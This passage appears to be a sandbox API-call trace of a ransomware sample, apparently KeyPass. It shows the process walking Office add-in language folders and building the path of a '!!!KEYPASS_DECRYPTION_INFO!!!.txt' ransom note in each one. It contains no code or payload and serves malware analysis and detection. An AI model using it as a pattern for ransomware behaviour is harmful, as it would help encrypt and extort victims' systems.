(in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\kok\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\kok\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.025] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\kok\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.027] GetFileType (hFile=0x1188) returned 0x1 [0273.028] CloseHandle (hObject=0x1188) returned 1 [0273.028] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0273.028] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501a480 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.028] GetLastError () returned 0x3f0 [0273.028] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ky\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ky\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.028] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ky\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.031] GetFileType (hFile=0x118c) returned 0x1 [0273.032] CloseHandle (hObject=0x118c) returned 1 [0273.032] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0273.032] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501be18 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.032] GetLastError () returned 0x3f0 [0273.033] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lb\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lb\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.033] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lb\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.034] GetFileType (hFile=0x1178) returned 0x1 [0273.035] CloseHandle (hObject=0x1178) returned 1 [0273.035] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0273.035] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018ae8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.035] GetLastError () returned 0x3f0 [0273.035] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lt\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lt\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.035] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lt\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.036] GetFileType (hFile=0x1190) returned 0x1 [0273.037] CloseHandle (hObject=0x1190) returned 1 [0273.037] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0273.037] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.037] GetLastError () returned 0x3f0 [0273.037] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lv\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lv\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.037] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lv\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.038] GetFileType (hFile=0x1194) returned 0x1 [0273.039] CloseHandle (hObject=0x1194) returned 1 [0273.039] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0273.039] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501a480 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.039] GetLastError () returned 0x3f0 [0273.039] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\mi\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\mi\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.039] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\mi\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.040] GetFileType (hFile=0x1198) returned 0x1 [0273.041] CloseHandle (hObject=0x1198) returned 1 [0273.041] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0273.041] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018ae8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.041] GetLastError () returned 0x3f0 [0273.041] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\mk\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\mk\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.041] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\mk\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.042] GetFileType (hFile=0x119c) returned 0x1 [0273.043] CloseHandle (hObject=0x119c) returned 1 [0273.043] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0273.043] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.043] GetLastError () returned 0x3f0 [0273.043] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ml\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ml\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.043] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ml\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.044] GetFileType (hFile=0x11a0) returned 0x1 [0273.045] CloseHandle (hObject=0x11a0) returned 1 [0273.045] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0273.045] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501c6a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.045] GetLastError () returned 0x3f0 [0273.045] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\mn\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\mn\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.045] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\mn\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.046] GetFileType (hFile=0x11a4) returned 0x1 [0273.047] CloseHandle (hObject=0x11a4) returned 1 [0273.047] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0273.047] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501be18 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.047] GetLastError () returned 0x3f0 [0273.047] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\mr\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\mr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.047] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\mr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.048] GetFileType (hFile=0x11a8) returned 0x1 [0273.049] CloseHandle (hObject=0x11a8) returned 1 [0273.049] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0273.049] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.049] GetLastError () returned 0x3f0 [0273.049] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ms\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ms\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.049] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ms\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.050] GetFileType (hFile=0x11b0) returned 0x1 [0273.051] CloseHandle (hObject=0x11b0) returned 1 [0273.051] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0273.051] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501c6a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.051] GetLastError () returned 0x3f0 [0273.051] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\mt\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\mt\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.051] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\mt\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.051] GetFileType (hFile=0x11b4) returned 0x1 [0273.052] CloseHandle (hObject=0x11b4) returned 1 [0273.052] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0273.052] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501be18 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.052] GetLastError () returned 0x3f0 [0273.052] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ne\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ne\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.052] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ne\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.053] GetFileType (hFile=0x11b8) returned 0x1 [0273.054] CloseHandle (hObject=0x11b8) returned 1 [0273.054] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0273.054] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501be18 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.054] GetLastError () returned 0x3f0 [0273.054] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\nl\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\nl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.054] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\nl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.055] GetFileType (hFile=0x11bc) returned 0x1 [0273.057] CloseHandle (hObject=0x11bc) returned 1 [0273.057] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0273.057] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501cf28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.057] GetLastError () returned 0x3f0 [0273.057] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\nn-NO\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\nn-NO\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.057] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\nn-NO\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.212] GetFileType (hFile=0x11c0) returned 0x1 [0273.213] CloseHandle (hObject=0x11c0) returned 1 [0273.213] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0273.213] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5017150 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.213] GetLastError () returned 0x3f0 [0273.213] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\no\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\no\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.214] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\no\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.215] GetFileType (hFile=0x11c4) returned 0x1 [0273.216] CloseHandle (hObject=0x11c4) returned 1 [0273.216] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0273.216] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501be18 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.216] GetLastError () returned 0x3f0 [0273.216] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\or\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\or\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.216] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\or\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.218] GetFileType (hFile=0x11c8) returned 0x1 [0273.219] CloseHandle (hObject=0x11c8) returned 1 [0273.219] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0273.219] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5017150 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.219] GetLastError () returned 0x3f0 [0273.219] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pa\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pa\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.219] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pa\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.225] GetFileType (hFile=0x11ac) returned 0x1 [0273.225] CloseHandle (hObject=0x11ac) returned 1 [0273.226] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0273.226] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501a480 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.226] GetLastError () returned 0x3f0 [0273.226] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pl\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.226] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.227] GetFileType (hFile=0x11cc) returned 0x1 [0273.228] CloseHandle (hObject=0x11cc) returned 1 [0273.228] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0273.228] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5017150 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0273.228] GetLastError () returned 0x3f0 [0273.228] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\prs-AF\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\prs-AF\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0273.228] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\prs-AF\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0273.229] GetFileType (hFile=0x11d0) returned 0x1 [0273.230] CloseHandle (hObject=0x11d0) returned 1 [0273.230] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, 